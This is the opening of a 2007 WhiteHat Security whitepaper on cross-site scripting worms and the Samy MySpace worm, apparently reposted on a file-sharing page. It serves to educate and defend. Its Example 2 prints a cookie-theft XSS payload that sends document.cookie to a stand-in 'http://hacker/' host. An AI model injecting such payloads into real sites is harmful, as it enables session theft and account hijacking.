White Hat Hacking complete guide to XSS Attacks.pdf

(884 KB) Pobierz
Cross-Site Scripting Worms & Viruses
The Impending Threat & the Best Defense
June 2007 – updated
Jeremiah Grossman
Founder and CTO, WhiteHat Security
A WhiteHat Security Whitepaper
3003 Bunker Hill Lane, Suite 220 | Santa Clara, CA 95054-1144 |
www.whitehatsec.com
Table of Contents
Introduction
10 Quick Facts About XSS Viruses and Worms
An Overview of Cross-Site Scripting
Non-Persistent
Persistent
How They Do It: Methods of Propagation
Embedded HTML Tags
JavaScript Document Object Model Objects
XmlHttpRequest (XHR)
The First XSS Worm: Samy
The First 24 Hours of Propagation: Samy Sets a Record
Code Red I and Code Red II
Slammer
Blaster
Side-by-Side Analysis
Worst Case Scenario
The Best Defense
Users
Custom Web Application Developers
Security Professionals
Browser Vendors
Conclusion
Appendix
Embedded HTML Tags
JavaScript DOM Objects
XmlHttpRequest (XHR)
Samy Worm Exploit Code
Notes
About the Author
3
3
4
4
6
6
7
7
8
8
9
9
9
9
9
11
12
12
12
13
13
13
14
14
14
15
16
17
back cover
XSS Worms & Viruses
| June 2007
Introduction
On October 4, 2005, the “Samy worm
1
” became the first major worm to use Cross-Site Scripting
2
(“XSS”) for infection
propagation. Overnight, the worm altered over one million personal user profiles on MySpace.com, the most popular
social-networking site in the world. The worm infected the site with JavaScript viral code and made Samy, the hacker,
everyone’s pseudo “friend” and “hero.”
3
MySpace, at the time home to over 32 million users and a top-10 trafficked
website in the U.S. (Based on Alexa rating), was forced to shutdown in order to stop the onslaught.
Samy, the author of the worm, was on a mission to be famous, and as such the payload was relatively benign. But,
consider what he might have done with control of over one million Web browsers and the gigabits of bandwidth at their
disposal – browsers that were also potentially logged-in to Google, Yahoo, Microsoft Passport, eBay, Web banks, stock
brokerages, blogs, message boards, or any other custom Web applications. It’s critical that we begin to understand the
magnitude of the risk associated with XSS malware and the ways that companies can defend themselves and their users,
especially when the malware originates from trusted websites and aggressive authors.
In this white paper we will provide an overview of XSS; define XSS worms; and, examine propagation methods, infection
rates, and potential impact. Most importantly, we will outline immediate steps enterprises can take to defend their
websites.
10 Quick Facts About XSS Viruses and Worms:
What You Need to Know Now
XSS Outbreaks:
1. Are likely to originate on popular websites with community-driven features such as social networking, blogs, user
reviews, message boards, chat rooms, Web mail, and wikis.
2. Can occur at any time because the vulnerability (Cross-Site Scripting) required for propagation exists in over 80%
of all websites.
3
Are capable of propagating faster and cleaner than even the most notorious worms such as Code Red, Slammer
and Blaster.
4. Could create a Web browser botnet enabling massive DDoS attacks. The potential also exists to damage data,
send spam, or defraud customers.
5. Maintain operating system independence (Windows, Linux, Macintosh OS X, etc.), since execution occurs in the
Web browser.
6. Circumvent network congestion by propagating in a Web server-to-Web browser (client-server) model rather than
a typical blind peer-to-peer model.
7.
Do not rely on Web browser or operating system vulnerabilities.
8. May propagate by utilizing third-party providers of Web page widgets (advertising banners, weather and poll
blocks, JavaScript RSS feeds, traffic counters, etc.).
9. Will be a challenge to spot because the network behavior of infected browsers remains relatively unchanged and
the JavaScript exploit code is hard to distinguish from normal Web page markup.
10. Are easier to stop than traditional Internet viruses because denying access to the infectious website will quarantine
the spread.
XSS Worms & Viruses
| June 2007
An Overview of Cross-Site Scripting (XSS)
The most important thing to know about XSS vulnerabilities is that they are by far the most common vulnerability found
in custom Web applications, identified in over 80% of all websites. While cross-site scripting has been considered
a moderate severity vulnerability for some time, the advent of XSS worms and viruses has raised its profile. Software
developers and security professionals need to know how easy it is to prevent XSS vulnerabilities during code
development, and how easy they are to resolve, once identified.
XSS is an attack technique that forces a website to echo attacker-supplied executable code, which then loads in a user’s
Web browser. That is, the user is the intended victim, with the hacker using the vulnerable website as a conduit of the
attack. Consider that XSS exploit code, typically (but not always) written in HTML/JavaScript, does not execute on the
server. The server is merely the host, while the attack executes within the Web browser. Also, XSS enables the theft of
Web browser cookies, which can then be reused to hijack online user accounts.
4
Online accounts include Web banks,
Web mail, blogs, and any other website feature accessible with a username and password. Recent research has also
revealed that XSS attacks can take complete control over the browser (Phishing with Superbait
5
), much like Trojan-horse
programs.
There are two ways for users to become infected by XSS attacks. Users are either tricked into clicking on a specially
crafted link (Non-Persistent Attack) or, unknowingly attacked by simply visiting a Web page embedded with malicious
code (Persistent Attack). It’s also important to note that a user’s Web browser or computer does not have to be
susceptible to any well-known vulnerability. This means that no amount of patching will help users, and we become solely
dependent on a website’s security procedures for online safety. Browser vendors, software developers and information
security professionals working with Web applications are the key to stopping this entirely preventable attack.
6
Non-Persistent
Consider that a hacker wants to XSS a user using the “http://victim/” website. The first step a hacker will take is to
identify a XSS vulnerability on “http://victim/,” then construct a specially crafted URL, also known as a link. To do so,
the hacker searches the website for any functionality where client-supplied data can be sent to the Web server and then
echoed back to the screen, like a search box.
Figure 1 displays a common Web blog used for online publishing. XSS vulnerabilities frequently occur in form search
fields. By entering “test search” into the search field, the response page echoes the user-supplied text in three different
locations as illustrated in Figure 2. Below the figure is the new URL. The query string contains the “test+search” value of
the “search” parameter. This URL value can be changed on the fly, even to include HTML/JavaScript content.
Figure 1.
http://victim/
Figure 2.
http://victim/search.pl?
search=test+search
XSS Worms & Viruses
| June 2007
Figure 3 illustrates what happens when the original search term is replaced with the following HTML/JavaScript code:
Example 1.
”><SCRIPT>alert(‘XSS%20Testing’)</SCRIPT>
The resulting Web page initiates a harmless alert dialog box, as instructed by the submitted code that’s now part of the
Web page, demonstrating that JavaScript has entered into the “http://victim/” context and executed. Figure 4 illustrates
the HTML source code of the Web page laced with the new HTML/JavaScript code.
Figure 3. Original search term is
replaced with HTML/JavaScript code.
Figure 4 (right). HTML source code of the Web page
laced with the new HTML/JavaScript code.
At this point, the hacker will continue to modify this URL to include more sophisticated XSS attacks to exploit users. One
typical example is a simple cookie theft exploit.
Example 2.
”><SCRIPT>var+img=new+Image();img.src=”http://hacker/”%20+%20document.cookie;</
SCRIPT>
The previous JavaScript code creates an image DOM (Document Object Model) object.
var img=new Image();
Since the JavaScript code executed within the “http://victim/” context it has access to the cookie data.
document.cookie;
The image object is then assigned an off-domain URL to “http://hacker/” appended with the Web browser cookie string
where the data is sent.
img.src=”http://hacker/” + document.cookie;
XSS Worms & Viruses
| June 2007

Plik z chomika:

Inne pliki z tego folderu:

Inne foldery tego chomika:

Zgłoś jeśli naruszono regulamin